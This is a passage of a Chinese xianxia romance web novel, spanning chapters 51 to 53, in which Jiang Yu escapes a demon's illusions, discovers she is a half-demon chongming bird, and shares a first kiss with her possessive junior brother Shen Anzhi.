陡然左眼毫无预兆地一痛,疼得她闷哼一声,冷汗瞬间浸透她的后背。 脖颈木牌散发的金光,驱散了姜喻周身部分不适。只是随着妖气侵袭,裂纹从中央寸寸蔓延。 * 姜喻眼前画面如波纹般频频闪动,一晃眼的功夫,她清醒地跪坐在地,瞳孔猛地一缩。 入眼是一座由森森白骨垒砌的高台之上,斜倚着一袭华贵玄衣的身影。 青年皮相妖孽,墨色衣袍衬得他肌肤愈发惨白,正百无聊赖地用指尖拨弄着掌心的铜钱,发出细微轻响。 他脚下随意踩着几截断裂的骸骨,眸光流转,带着一丝戏谑的凉意,薄唇轻启,语调漫不经心,“师姐的人皮灯笼,喜欢挂在哪?” 寒意瞬间疯狂上窜。 姜喻咬住下唇,指甲几乎掐进掌心,一遍遍告诉自己:幻境!都是假的!真正的沈安之不会……不会这样对她! 可身体的本能战栗背叛了意志,她猛吸一口气,挣扎着想要撑起发软的身体逃离这令人窒息的空间。 下一瞬,一只冰冷的手如同铁钳般扼住脆弱的脖颈。 “师姐依旧是这般有趣……”挑眉凑近,眼神恰似一条毒蛇狠狠地咬住猎物。 “沈安之……”姜喻胸腔溢出一丝轻唤,眼波潋滟,流露出一丝难掩的委屈。 熟悉眼神映入眼帘刹那,“他”微微一愣,心头刺疼了一瞬。 “沈安之”只觉得这个眼神刺目,似在怀疑疑惑什么,微一歪头,钳制姜喻脖颈的手微松力道。手并未就此离去,换为指腹耐心地摩挲着她的脖颈,眸光落在她脖颈指尖掐出的五道红痕。 “我要听的是求饶。” 姜喻不明所以地眨了眨眼,不明白“他”怎么松开了手。 “我不求饶,你就要杀了我?”姜喻顺着他的手抬眸看去,心底又委屈又挟着一丝惊慌。 这个幻境自动识别了原著剧情她最怕的结局。 救命,她不要被沈安之做成人皮灯笼…… 微颤着手寸寸收紧捏成拳,呼吸一紧,眸光一眨不眨看向他。 “沈安之”身形一顿,他迟疑一瞬,抵住突突跳动的额角,仿佛要将什么撕裂开。 眼前似有无数不明所以的片段频繁闪过,他捕捉不清,只觉得此刻自己应该愤恨在心底熊熊燃烧,却怎么也恨不起来,只余一片空洞的茫然。 “沈安之”本该就此杀了她,却有片刻的犹豫,生生凝滞一瞬。指节松开又微微攥着她脖颈,最终缓缓垂下手,目光凶狠,翻涌着阴鸷的戾气,退后一步:“是,我会杀了你。” 暗处,隐藏身形窥探的齐三娘,冷不丁地轻哼一声。 好一个姜喻……竟能单凭心念,便撼动她以七情为引,织就的幻境迷心局。 这幻化出的“少年”,承载的分明是她心底最深的恐惧之源,本该是她惊惶绝望的梦魇。未曾想,剥开那层层叠叠的惧意,底下埋藏的,竟是她愿交付的信任。 可笑,竟是一个眼神就动摇了。 齐三娘半讥讽一笑,半是疑惑,她的幻像不曾出过错。 头一遭对二人生出了好奇之心。 姜喻干笑一下,心头警铃大作,转身想溜,却被身后的“沈安之”倏然擒住了腕骨。 她回眸看去一惊。 指节如铁箍般收紧,带着不容抗拒的力道猛地一扯,她整个人踉跄着撞进他怀中,皂角香混杂着粗重的呼吸一同喷洒在她脖颈,激得姜喻倒吸一口气,战栗一瞬。 “沈安之”垂眸倾身,呼吸几乎喷洒在她垂下轻颤的鸦睫,似有些恼意她竟敢不正眼瞧他,压低声音阴沉沉问:“你怕我?” 急不可耐地想要甩开他的手,姜喻鼓起胆子认同的颔首,抬眸毫不畏惧地正视他的深邃晦暗的眸,“自然!这里是幻境,你只是一个幻象,我要走。” 挣扎着甩开他的手,姜喻退后一步。 “不,你不该怕我……” 他眼前画面晃动,疯魔地看向她,眼底晦暗化作滔天的爱恨交织的欲念,步步紧逼,青年颀长的阴影几乎笼罩姜喻全部身形,“不许走。” 姜喻怔愣一瞬,抬眸看向他顿感无奈。就算是幻境之人,都和沈安之性格一模一样。 她急切地欲退后几步,转身作势要跑,却被一只修长如玉的手扯入怀中抱紧。 双臂紧紧锁住她离去的步伐,令她如何挣扎都无济于事,微弯腰紧贴着她的身形,将整个人圈在自己怀里。 姜喻心一横,贝齿狠狠咬下沈安之的手腕,铁锈味瞬间弥漫齿间,“放手!” “不、放。”沈安之低哑的声音裹着寒气,在她头顶响起,语气阴恻恻地一顿,一字一句,偏执入骨,“怕我?呵,怕也不行。你,姜喻,不许怕我。” “沈安之!”姜喻气得胸口起伏,眼前这张熟悉又陌生的脸让她气恼。她闭了闭眼,跟幻境造出的幻象较什么劲?她必须冷静,想办法找出破绽离开。 “怎么,在想如何逃走的办法?”他一语中的,仿佛直接看透她的心思,低笑一声,下颌轻蹭姜喻蓬松的发顶。 “这里是幻境,你更不可能是沈安之,放手!”姜喻仰头,拔高音量。 “沈安之”略带不悦地蹙眉,板正姜喻的身形,眸光一眨不眨对上她怒气的眸子。他如一条缠绕她,绝不松口的毒蛇,牢牢锁定猎物。 “沈安之”倾身靠近姜喻,意味不明地弯唇一笑,低语道:“你再看看!我怎么不是了?就算不是,现在、马上我也可以是了!” 姜喻忍不住皱起好看的眉头,一时竟对他无从下口吐槽,瞪圆一双妍丽亮眸,挣扎着:“放手!” 随着尾音刚落,胸前木牌再也承不住寸寸龟裂的细纹,“咔嚓”一声脆响,刺目的红光如悍然迸射。 霎时间,幻境被蛮横的光撕裂、洞穿,空间发出不堪重负的寸寸碎裂声,湮灭成齑粉飞灰消散。 * 深山雾气缭绕,遍地藤蔓间,深紫色的花朵无声地绽放,细密紫色花粉如烟尘般弥散在四周。 姜喻她双目禁闭,浑然不觉地枕着虬结的藤条,莹紫粉末的沾在她面颊和绯红衣裙。 沈安之陡然睁开眼,朝身侧猛地吐出一口血,神智瞬间清明。 侧身凝望着趴睡的姜喻那处光洁的颈侧,伸出手指节擦过她温热的皮肤,眼底翻涌着近乎病态的痴迷。 剧痛如利刃贯穿心口,沈安之闷哼一声,五指痉挛地攥紧胸前衣料,每一次急促的喘息都带着喉间铁锈味。 恰逢反噬发作唤醒自己。 方才所见所感,并非简单的梦境相通……他似是被拖入了姜喻心底滋生的幻境。 他差一点…… 若在那幻境沉沦迷失记忆,伤她分毫……这个念头甫一升起,心口刺痛加剧,几乎让沈安之攥紧拳头。 待忍下疼痛,难免回忆起幻境之事。沈安之亲眼目睹她惧怕他,甚至迫不及待地想远离他。 他不许! 他绝对不许! 齐三娘被一股强悍力量震慑而出,飞出了自己精心布置的幻 境陷阱。身子狼狈的滚落在地,猛地从喉头呛出几口血。 她总算知晓姜喻身上道不清的气息是什么回事…… 齐三娘凉凉抬眸,见少年紧紧地搂抱着昏迷之人,笑着冷哼一声站起身,优雅揩去唇边血渍,语气讥讽又透着一丝同情:“我看见你的部分记忆,痛苦,不堪,杀戮……真可谓‘百毒俱全’,真可怜又可恨啊。” “无需你多言。”沈安之压下长睫,眸光看去齐三娘,眼底晦暗仿佛在看一个死物。 姜喻长睫轻颤,缓缓睁开眼,意识回笼映入眼帘直直撞上对沈安之的深邃眸光,似有万千翻涌的暗流,锁着她。 下一瞬,带着皂角香的阴影骤然压下,手臂已狠狠勒住她纤细腰肢,不容分说地、按在剧烈起伏的胸膛,力道之大,几乎要将她揉碎嵌进自己骨血里。 齐三娘看向他们相拥画面冷笑一声,挥手间紫色粉末飘散在空气,预想到接下来的事情她期待地轻嗤一声。 “让我见见,你们到底情比金坚,还是会互相厮杀……”指尖轻点,手腕一转,变出一摇晃的紫铃手链,铃声一响,周围环境顿生变化。 沈安之眸底幽深翻涌,垂眸捂紧姜喻的耳朵。 * 寒风裹着枯叶灌入颓败的庙宇,腐朽的窗棂被吹得嘎吱作响,里面传出一阵打骂声。 莫约是个七八岁孩子,嘴角血液蜿蜒,两只妖物拳打脚踢,打得他毫无还手之力。一妖拉扯他的胳膊,一妖拽着他乱糟糟的头发,疼得他闷哼一声。 眸底寒光一闪,杀意几乎凝成实质,在眸底翻腾不休。 在妖物嘲讽松懈的瞬间,他猛地咬断了一妖的喉头。滚烫的妖血狂喷而出,瞬间染红了他的半张脸,血珠顺着下颌蜿蜒滴落。 50-60 第51章 恰在此时,一道闪电撕裂天幕,惊雷震得耳膜发颤。映亮他沾血的侧脸,在忽明忽暗的光影里显得格外阴森。 “呵,就这点手段吗?”沈安之漫不经心地俯身,模样分明是一个七八岁孩童,眸底却毫不胆怯提起死绝妖物的头发。 粘稠的血珠顺着妖物发丝滴落,他拎着“战利品”,眼尾猩红地睨向另一只早已抖如筛糠的妖物。 微微偏过头,血色浸透的眸中疯狂汹涌着杀意,耳畔有无数蛊惑的低语叫啸:杀光他们!统统碾碎所有妖物! “唔……” 伴随一阵铃声愈发频繁,他眸底逐渐杀意翻涌,如一团化不开的墨色。 齐三娘横坐在房梁,指尖随意拨弄紫铃,满意地看着下方“小孩”周身愈发浓郁的怨气,拨动起他所有怨恨情绪与记忆,周身源源不断的气息比那魔都要吓人。 姜喻在此处茫然地睁开眼,阴沉天空笼罩下,眼前破庙阴森可怖,察觉出沈安之气息,急匆匆地推开了破庙摇摇欲坠的大门。 “吱嘎——”姜喻一脚跨过门槛,便与一双嗜血的眸对上视线。 齐三娘看见正主姗姗来迟,拨动铃铛的指尖微顿,漫不经心地对沈安之戏谑说道:“你恨极了妖,可若我告诉你,你眼前小姑娘也是一只妖。你该如何?” 沈安之神情恍惚一瞬,被影响的怨气在看见她的一瞬暴增,有曾经“她”助纣为虐的难以消弭的怨恨,有她靠近自己情难自抑得克制下谨慎。 他便生生像一个集合和所有的矛盾体,一边恨不得手刃她,让她求饶匍匐,为曾经欺辱羞辱付出生命的代价。 他一边恨不得将姜喻永远囚于怀中,让她这一辈子,只能与他纠缠在一起,只能纠缠他一个人—— 哪怕是恨意! “在意她,占有她,亦或者,就此杀了她?”齐三娘继续言语挑衅,勾起沈安之心中最纯粹的恶。 “妖,她可是你最厌恶的妖啊——”齐三娘妖力流转,幻出姜喻妖物形态的虚影。 沈安之眉头紧锁,视线死死钉在姜喻身上,那只凭空出现的绯红小雀与他遥遥相望,水灵灵的眼眸与姜喻此刻难以置信地眸光逐渐重合。 “师姐,你到底是谁?”沈安之神情骤然僵愣,眸底翻涌起骇人的猩红。他竭力想扼住浑身的战栗,可连指尖都因克制那股怨气而颤抖,血液仿佛逆流,胸腔里激荡着恨意与杀念。 “我不是妖。师弟,我不是妖!”姜喻挥舞着双手,茫然地连连后退,大脑一片混乱。 这到底怎么回事? “不是妖?”齐三娘嗤笑,玉手轻挥,铃声裹挟着寒风直扑姜喻面门,“那你倒是说说,这满身的妖气,从何而来?” 铃声不休,试图将她体内蛰伏的力量彻底激发。声音越发急促,姜喻痛苦地捂住一只耳朵,另一只手本能地甩出几张炽阳符抵挡。 炽阳符甫一离手便无风自燃,她体内竟没了灵力支持。左眼骤然传来剧痛,姜喻闷哼一声,蜷缩着跌坐在地。左眼深处,妖异的红光一闪而过。 紧接着,一股从未有之的妖气自姜喻胸口汹涌而出,她震惊地感知到飞速蔓延至她的四肢百骸的力量。 姜喻难以置信地抬起手,看向微微发颤的掌心,“我不是……” 原著误她!谁能想到这具身体的“原主”,竟真是一只妖! 胸口的剧痛尚未平息,一股难以言喻的、极其强悍的妖力猛地从丹田深处爆发,如同奔腾的气流,瞬间将她体内残存的微弱灵力碾压。 然而令人惊奇的是,这两股截然不同的力量并未就此冲突将她撕碎,反而在她体内形成了一种微妙的、脆弱的平衡。 齐三娘没想到一只半妖居然没有就此爆体而亡,她有些失落地额角撩起碎发把玩。 鬼使神差的,姜喻调动新生的力量,掌心红光流转,虚影凝聚化作栩栩如生的绯红鸟雀,羽毛根根分明,尾翎似有流火拖曳,在她掌心轻快地蹦跳着。 是重明鸟? 姜喻尚未从震惊中回神,一股冰冷的压迫感骤然逼近。 “师姐?”沈安之无声地立在她面前,他俯身,修长的手指狠狠钳住了她的下颌,迫使姜喻抬头,望进那双幽深的眸子。指腹带着毛骨悚然的温柔缓缓摩挲着她的脸颊。忽地一笑,“师姐……你瞒着我的事,可真不少啊。” 姜喻强忍下颌的不适感,起身伸手牵上沈安之腕骨轻晃一下,“你决不可以被她蛊惑。” “呵。”沈安之浑身怨毒之气仿佛找到了宣泄口,顺着两人相触的地方汹涌。他仰起孩童般稚嫩的脸庞,眼底却翻滚着与年龄不符的阴鸷,唇角勾起轻慢弧度,“师姐瞒得我好苦啊。” 话音刚落,沈安之身形猛地拔高,转瞬间眼前孩童已化作身量颀长的玄衣少年,像根抽条的翠竹,让她得仰面看去。 沈安之手臂收紧,直接将姜喻困在怀抱中,按着她的后脑勺靠近心口,不让她看清自己堕魔前兆,怨气恒生的模样。 心魔悄然滋养而成,生在心海肆掠而过。 那些关于“姜喻”的,曾带着毒刺的回忆碎片疯狂撕扯着理智神经,心魔在耳畔发出蛊惑的声音:杀了她!杀了她!唯有她的血能平息蚀骨的恨意! 然而,另一道更鲜明的绯红身影却固执地撞入脑海。一道数次挡在他身前,如小雀般轻盈又无畏的身影,独属于他的、唯一的小雀。 目光死死钉在姜喻光洁脆弱的脖颈上。 沈安之喉结滚动,尖牙在齿关下隐隐发痒,暴虐的冲动在血脉叫嚣着。他磨了磨后槽牙,真恨不得一口咬下去,好消弭掉怒气。 他垂眸,浓密的睫毛在眼下投出阴翳,再抬眼时,眸底压抑的疯魔如同挣脱囚笼的凶兽,声音低沉沙哑,“师姐,可你是妖……你说,我该如何对你?” 丹凤眸眼底猩红惊得她喉间发紧,下意识干咽了一下,贝齿轻咬下唇。她努力维持着声线的平稳:“我不是存心骗师弟,我自己也糊涂着呢!当了十几年清清白白的 人,谁曾想有一朝变成个半吊子‘人妖’?变故砸下来,我始料未及,懵得很呐……” 沈安之的视线不受控地滑向她的唇,呼吸一沉。灼热目光几乎要将她灼穿。 眼角余光扫到一旁僵立的齐三娘,厌恶地别开脸,从齿缝里挤出一个字:“滚!” “啧啧,瞧瞧,这翻涌的情绪化作灵气溢出来了……沈小郎君,急不可待要堕魔了?” 齐三娘掩唇轻笑,语带刻薄,脚下尚谨慎地连退数步,拉开与他们距离,眼中满是看好戏的嘲讽。 沈安之是块硬骨头!心魔蛊惑都不为松动,情绪放大数倍就对他不管用。 姜喻听完心头一紧,眼风如刀扫过齐三娘。 她决不能让沈安之堕魔。 任务……可哪怕不是任务,姜喻也不可以再失败了,她剩最后一次回溯的机会,绝不容许在此刻功亏一篑。 “沈安之,不要堕魔。”姜喻急促低喝 她猛地发力从他滚烫的怀抱中挣脱,十指深深掐入他手臂,强迫他低头迎上她焦急眸子。 怀中骤然一空,沈安之眉心微拧。 沈安之不怒,反而低低笑开,捧住姜喻的脸颊,指尖暧昧地摩挲着她的眼尾,眉梢邪气地一挑,气息危险地一点点迫近。 “为何不可?师姐在怕什么?怕我么?嗯?”他尾音有意拖长,带着蛊惑她心的恶意。 姜喻声音斩钉截铁,“我才不怕师弟了。” “真的吗?”沈安之忽地低笑出声,缓缓垂落,恰到好处地掩去了眸底那抹几近疯魔的狡黠碎光,“师姐会想从师弟身边逃走么?”他声音轻得如同叹息。 “那我不逃。”姜喻迎着他看似温顺,实则暗藏风暴的目光。安抚性地弯了弯眸,语气轻快得像在应承一件小事。 唯有她自己知晓:至少,她要待到任务完成,改变他既定的命轨。 齐三娘冷眼瞧着,姜喻不过一句轻飘飘的承诺,方才他还隐隐躁动、似要被心魔蛊惑吞噬的沈安之,周身那股令人心悸的戾气竟当真如潮水般褪去,被强行压制下去。 景象刺得齐三娘心头火起,强烈的不甘猛地窜上脑。 “沈小郎君!”她踏前一步,袖中紫铃因她急促的动作发出一声脆响,声音陡然拔高,带着刻意的尖锐,“你醒醒,她可是妖!你最痛恨的不就是妖物吗?!” “师姐是妖又如何。”沈安之声不大却异常坚定。 妖物?呵,沈安之才不在乎。 心有所感,福至心灵。自己在意的、心悦的,从始至终是姜喻本身。 沈安之眸光冰冷地掠过齐三娘,如同扫过一件死物,薄唇勾起一丝毫无温度的弧度。 “妖物与我何干?”声音轻得如呓语,却字字含着情意,“只要她是姜喻就好……是我的姜喻。烧成灰是,挫骨扬灰也是,管她是人是妖。” 相似的话语,再次钻进耳中。 她的计谋一一落空,百年前如此,百年后亦是如此。 指节捏得青白,想起那个令她不快的女人,尖锐的指甲深深刺入掌心。溢出缕缕紫色妖气浑然不觉,周身压抑的妖力再也无法遏制,轰然炸开。 姜喻心底警铃大作,思绪疯狂转动寻找生机。径直爆发出自身浓烈妖气,妖气无声无息地从自己周身散逸。 刹那间,耀眼红芒轰然穿透了齐三娘精心构筑的幻境。 第52章 齐三娘紧锁眉头,抬手阻挡妖力暴涨的刹那,幻境剧烈震颤,发出不堪重负的声音。随即如脆弱的琉璃寸寸碎裂,露出千疮百孔的一面。 三人身影再一次回到深山原位。 “呵,不愧是重名鸟……”齐三娘抬眸时怨恨地化作实质睨向姜喻。 眼前绯红倩影几乎与她记忆中那个红发女人逐渐重合,甚至连嘴角上扬的弧度都是一模一样。 齐三娘眸底不易察觉地眷念一闪而过,她压下长睫在睁开眼,微颤的身形被心底难以消弭的滔天恨意笼罩。 “呵,真像……” “你眉眼像她三分罢了,那又怎么样!你今日必须死!”齐三娘手心挟着强悍的妖力化作无数腾飞的藤蔓,激荡起空气漂浮的紫色粉末,迅捷地直攻向姜喻面门,不给她留一线活路。 “像又如何!死了,发臭发烂,就不像了!”齐三娘优雅的外表褪去,手中紫铃叮叮当当作响。 沈安之眸底寒光微闪,铜钱剑影如虹,一剑整齐地斩断藤蔓,闪身在齐三娘大意的一瞬斩断齐三娘的胳膊。 可她胳膊落地的瞬间,齐三娘便恢复出一条新的。 沈安之微挑眉稍,散漫眸光带着一丝兴味,余光不忘看向姜喻提醒:“离远点。” 姜喻脸色微白,强行突破幻境后倦意弥漫,她不足以调动体内仅剩的妖气攻击。 如今符箓在自己手中暂成了无用的废纸,持剑砍断一截藤蔓后,她急匆匆地转身躲在一棵树后掩盖身形。 她不给沈安之拖后腿,但又实在担心他受伤,便掏出法宝,不要钱似的丢给沈安之使用。 齐三娘紧锁眉头,显然不知道姜喻还有这么一手,她想打断两人之间的配合但实在有些“手忙脚乱。” 她连遭两重幻境崩碎,对上沈安之隐隐落了下风。眼底掠过惊愕,显然是小觑了眼前少年,当即不再恋战,身形“嘭”地化作一团交缠又细长的紫色藤蔓,如蛇行般急速匍匐在地,向密林深处钻去。 “师弟,快!跟上她!”姜喻眸中一亮,哪还顾得上什么,拎着裙裾便追了上去。 这一幕原著讲的分毫不差。 两人追她至悬崖边缘,堪堪刹住脚步。 崖边狂风卷起碎石,齐三娘所化的藤蔓不见踪影,唯见妖娆身影立于崖畔。 齐三娘回眸,目光如淬毒的银针深深似要钉在姜喻脸上。勾起一抹诡笑,毫无留恋地纵身跃下万丈深渊。 “你——”姜喻惊讶一瞬,崖风凛冽,吹得她衣袂翻飞。 视线俯瞰深不见底,有些被刻意尘封的,关于悬崖的记忆碎片骤然刺痛她脑神经,身体几不可察地瑟缩一下。 “师姐。”沈安之的声音自身侧传来,带着一丝不易察觉的探究。 他并未直接看那深渊,尾指有意无意地扫过姜喻无意识地掐进掌心的指尖,人悄然靠近半步,“还追吗?” 姜喻深吸一口气,压下心底翻腾的旧影,眸光重新变得坚定:“得追!” 剑光乍起,沈安之携她御剑而下。 悬崖之下罡风刮得人脸颊生疼,宽大的衣袖猎猎作响。 姜喻紧紧贴在他略显单薄却异常稳当的后背,鼻尖萦绕着沈安之身上清冽又带着一丝安心的皂角香,清晰听见他胸腔里那颗心脏搏动的节奏,正在逐渐加快。 沈安之身形微僵了一瞬,他深吸一口气抵抗身体本能的战栗和兴奋。却怕她看出或听见什么,装作若无其事的样子操纵铜钱剑往下。 却不知,心跳比他先一步露出破绽。 陡然间,风向诡谲一变。 一股沛然莫御的巨力不再是推拒,而是如无形丝线,狠狠将他们朝布满嶙峋怪石的崖壁压去! “小心!”沈安之瞳孔一缩,灵力狂涌试图抗衡吸扯之力,却如泥牛入海。 电光石火间,沈安之猛地旋身,下意识将姜喻按进自己怀里,整个后背迎向坚硬冰冷的岩石! “砰——”伴随一声闷响,带着骨头撞击的脆音。 巨大的冲击力让沈安之眼前发黑,喉头瞬间涌上浓重的铁锈味。他牙关紧咬,喉结滚动,硬生生将腥甜咽了回去。 就在他撞上岩壁的刹那,异变再生。原本冰冷的石壁再非实物,竟如同投入石子的水面,骤然浮起一圈圈剧烈荡漾的波纹。 波纹中心传来恐怖的吸力,带着不容人抗拒半分的力量,将两人狠狠拽入其中。 黑暗,如巨兽之口,瞬间吞没二人。 姜喻是被毛茸茸的脑袋顶醒的。 长睫轻颤,睁眼时天光大亮。 周围浓郁的灵气几乎凝成氤氲缭绕的水汽,碧蓝如洗的天穹中悬浮着星辰般的碎片,大小不一,洁散发出莹莹微光。 此地草木疯长,藤蔓 缠绕古树,枝叶间漏下金色光斑。好一幅祥和之景。 身侧一头小鹿正低头蹭她,漆黑瞳仁湿漉漉的,见她悠悠醒来,受惊似地跳开两步,又回头望了她一眼才轻盈地跃入草丛。 姜喻神情一怔,心头一紧,慌忙撑起身子,四下张望,“师弟?师弟!” 沈安之扶着额角坐起身,只觉头晕目眩。 视线甫一聚焦,便看见姜喻跌跌撞撞朝自己奔来,脚下猛地一个趔趄——下一瞬,只剩下一团扑腾的,毛茸茸的绯红,差点滚落。 沈安之下意识伸出手掌,稳稳接住骤然缩小的她。 姜喻只觉天地倒转,视野里沈安之的面容倏然放大数倍,她惊得语气变了调:“师弟!你、你怎么变作巨人了?!” 沈安之眉梢微挑,单手虚掩着唇,喉间溢出低低的笑,尾音愉悦地上扬:“师姐……”俯身凑近,修长的手指带着几分逗弄和促狭,指尖轻轻戳了戳她毛茸茸的小脑袋,“分明是你,变得分外玲珑了。” 见他憋笑憋得肩头发颤,姜喻狐疑地透过他含笑的眸子,终于看清了自己的模样:一只羽翼未丰、绒毛蓬松的雏鸟! 绯红的羽毛在光下泛着柔润的光泽,根根分明。 自己竟成一只鸟,她还是一只羽翼未丰、绒毛蓬松的雏鸟! 老天奶,她这是被开除人籍了?!直接褫夺了人身?! 姜喻瞳孔地震,难以置信地眨了眨圆溜溜的小眼睛。 等等,明明古籍记载重明鸟乃一目双瞳,可自己这双眸子分明再寻常不过。只是浑身羽毛绯红如霞,倒是在日光照耀下泛着红光。 不过有一点她尚且不明,她记得现世里重明鸟多被奉为神兽,可在这书中世界,却被归为妖类。而且听齐三娘口气,倒是言之凿凿。 眼下这情形,究竟算什么…… 姜喻思绪翻涌,甩甩脑袋,暂且按下思绪,抬眼她瞥见少年掌心托着自己,笑得散漫。 一股无名火起,姜喻气呼呼地在他掌心跺了跺小爪子,可惜毫无威慑力。她不甘地奋力扑扇翅膀想飞,结果一个不稳,在他温热的掌心里栽了个滚儿,滚得羽毛乱翘。 “师姐,有我在呢。”沈安之嗓音低沉,轻声哄着,对她带着奇异的安抚,眼底欲念藤蔓疯长。 他心魔未散,蛊惑的低语在耳畔萦绕,他却恍若未闻,只垂眸凝视掌心的小雀,唇角笑意更深,仿佛终于捕获了觊觎已久的珍宝,那是一种近乎餍足的喟叹。 他将她轻轻拢在掌心,小心翼翼贴向心口。紧挨着那枚藏在衣襟深处、早已被体温焐热的编织小雀。 而如今,他终于得到了真正的、独属于他的“小雀”。 姜喻向来心大,最初的震惊过后,倒也飞快认命。小喙啄了啄他微凉的指尖,随即安安稳稳地窝在他宽大的掌心里,任由他带着前行。 “师弟,”她仰起小脑袋,“你说,这里便是无尘仙山了吧?” 碧蓝穹顶之下,星子般的碎片静静悬浮,流光溢彩。 灵气如涓涓暖流渗入四肢百骸,带来难以言喻的舒畅。沈安之闭目微享,颔首低语:“灵气沛然,沁润心脉,看来我们的确是入无尘仙山了。” 姜喻眸底瞬间燃起灼灼亮光,兴奋地扭动小小的身躯,急切地环顾眼前被放大了数倍的天地。 周遭草木葳蕤,巨叶脉络清晰得可见。 “师弟!”姜喻声音雀跃,带着难掩的兴奋,“既已进来,那无忧花和陌离果,我们定要带走,一样都不能少!” “好。”沈安之应了一声。掌心稳稳托着她,指腹却不着痕迹地收拢些许。 姜喻惊喜地发现,她那一只奇异的左眼在此地效用非凡。 虽视野里万物等比例放大,可感知的细节却纤毫毕现,远胜先前仅能捕捉灵气流光的程度。 她贪婪地“看”着——草叶边缘细密的绒毛、花瓣上凝结如珍珠的灵露、甚至土壤深处灵气游走的微弱轨迹。 一切都清晰得令人好奇不已。 正看得入迷,姜喻眼前却一暗。 一股酸涩感袭来,她下意识用小爪子揉了揉眼睛,视野晃动模糊。再定神时,神奇的微观洞察之力已然消失,周遭景象恢复了“正常”的比例。 “这‘神通’也太不顶用了。”姜喻扑腾了两下小翅膀,带起细微的风。 沈安之立刻将她往胸口拢了拢,温热的指腹几乎将她整个圈住,声音带着不易察觉的探寻:“师姐方才说什么?” 姜喻倒没隐瞒眼睛短暂的异状,只是略去了她过往种种的奇异。 沈安之垂眸静静听完,指尖一下下在她柔软的羽毛上轻轻拂过,给出判断:“师姐如今妖力磅礴,只是尚不知如何驾驭。强行催动灵眼,自然易耗神疲乏。” 第53章 姜喻仰起毛茸茸的小脑袋,清澈的亮眸一眨不眨地望向他的下颌。 心中盘旋已久的疑问终究是没忍住,“师弟,你……当真不怕我是妖吗?”姜喻问完,咽一口唾沫。 沈安之低笑一声,幽深的眸子对上她的亮眸,指尖在她小脑袋上极轻一点,似在安抚一只受惊的雀儿,语气随意,可又近乎理所当然道:“自是不怕。不过……” “师姐若是随意‘飞走’,师弟绝不罢休。”沈安之语气带着偏执的笃定,直勾勾地看向她。 姜喻硬是生出一种,沈安之好像是知晓什么的错觉。 沈安之拢着她在掌心,走的四平八稳。 姜喻耷拉着脑袋,脸颊轻蹭了蹭他心口。 她并非瞒着沈安之,何况自己是第一次知晓妖身之事,可他的信任与悬在头顶的任务,都倒叫她莫名心堵。 敏锐察觉她的小动作,沈安之蓦然弯唇,捧着她,让她靠近能轻蹭在自己脸颊上。 姜喻动作微顿。 “不继续?”沈安之挑动眉梢,带着一丝放肆的笑意,仿佛在引.诱她,蛊惑着无辜的小雀能多靠近他一点。 姜喻心中微动,毛茸茸的小脑袋亲昵蹭了蹭,“师弟,我想问一个问题。如果我有一事,骗了你,你会原谅我吗?” 沈安之笑意微冷,压制下的心魔蠢蠢欲动,他长睫微颤,唇畔轻轻啄在小雀头顶,姜喻惊得下意识扑闪翅膀,抬眸看向他。 “师姐会骗我什么?”沈安之喉结滚动,眼睛一眨不眨地看向她。 “我是说,如果……”好在自己现在是小雀模样,反正他看不出她脸颊上的热意和红晕。 沈安之倏然散漫弯唇一笑,嘴角的笑意不达眼底,“哪怕是如果,我也不许师姐随随便便离开……” 沈安之心底在这个问题提出后,生出了一丝惶恐。姜喻太知晓自己对妖的手段,她哪怕生出一丝逃跑的念头,他都宁愿把自己的理智逐放,只留欲念和占有,将她牢牢得放在身边,不许她离开分毫。 姜喻无奈一笑,脸颊安抚地轻贴着他的脸颊,“我说的都是如果和假设……” “最好是如此……”沈安之眼波微暗,不安地感觉并未就此消散,缠绕在心尖与心跳共振。 他无法容忍,哪怕一点姜喻的“如果和假设”。 垂眸看向绯红小雀,一股直白欲.念席卷全身,贪念的欲.望在心头蛊惑中无限滋生:想抱着她,想亲她,就像她教的那样,而他……能学的更好。 “师姐,要不变回人形试试?”他嗓音低哑,带着一丝不易察觉的蛊惑,尾音像羽毛般轻轻搔过心尖。 姜喻正用小翅膀漫不经心地指着一个方向,含糊地“嗯”了一声。陡然间,一股灼热自脚心窜起,一道霸道却温驯的陌生灵气毫无征兆地直冲丹田,过程极快,却没有一丝不适感。 下一秒,“嘭”的一声。 伴随细微的衣料摩擦声,灵光散去,姜喻只觉周身一凉,竟是水灵灵地、毫无遮掩地变回了人身,正被少年结实有力的臂膀牢牢打横抱住! “啊!”短促的惊呼脱口而出,姜喻脑中一片空白,羞窘瞬间炸开似的,根本不知该先捂哪。情急之下,几乎是本能地飞速抬手,捂上沈安之的双眼。 少年灼热的呼吸骤然一滞,随即滚烫的气息悉数喷洒在敏感的掌心,激起一阵细微的战栗。 “不、不许看!”姜喻又羞又急,恨不得原地 消失,却不知道往哪钻才好,只能更用力捂紧少年的眼睛。 细腻温软的肌肤隔着薄薄的衣料,无意识地贴蹭着紧实的胸膛,随着姜喻细微的挣扎,若有似无的摩擦像无形的手指,撩拨着紧绷的心弦。 沈安之喉结猛地滚动,动作却依旧稳当。他一只手臂穿过她的膝窝,指尖不可避免地、极轻地触碰到修长笔直腿侧肌肤,温热、光滑。 这一瞬间,环抱着她的双臂骤然绷紧,沈安之两只手在姜喻背后死死攥成了拳,骨节泛白,用尽全力克制不去触到怀中温香软玉,然而指尖残留的细腻触感,始终挥之不去。 眼前虽被遮挡,可方才眼前一抹莹白闪过的太快,如同幻觉。偏偏沈安之过目不忘,记性太好。所看的短暂瞬间的每一帧画面,都齐刷刷地在脑海里如烟花“噼啪”炸开,反复闪现。 他只想确认姜喻能否因此恢复,不曾想会是这般……赤.裸裸的,毫无预兆的,撞入他怀中。 “姜喻……”沈安之嗓音低沉喑哑,压下心潮悸动,他顺着她捂住自己眼睛的力道,俯下身,准确无误地将温热的唇息靠近她明显呼吸都禁不住慌乱的面容。 呼吸喷洒交缠,气息有意无意地落在她脸侧肌肤上,激起一层层难以消弭的颤栗。 姜喻脸颊羞红成片,心脏悸动的加快,很是震耳欲聋。此刻仿佛是狂风骤雨来临前的宁静,谁也没有先开口。 沈安之忽的一笑,慢条斯理地轻唤了她一声,“师姐……”他故意尾音上扬,像把小钩子,身形随之靠近。 姜喻长睫微颤,在闭上眼前一刻,唇上微软。 “唔……” 温热的唇沿着她的唇线厮磨,温柔如水似的叫人溺毙,沈安之像一位高端只对她一人的猎手,感觉到绷紧的身形逐渐放松。才不紧不慢地一点点撬开唇齿间的城池,试探性的勾缠那一抹丁香。 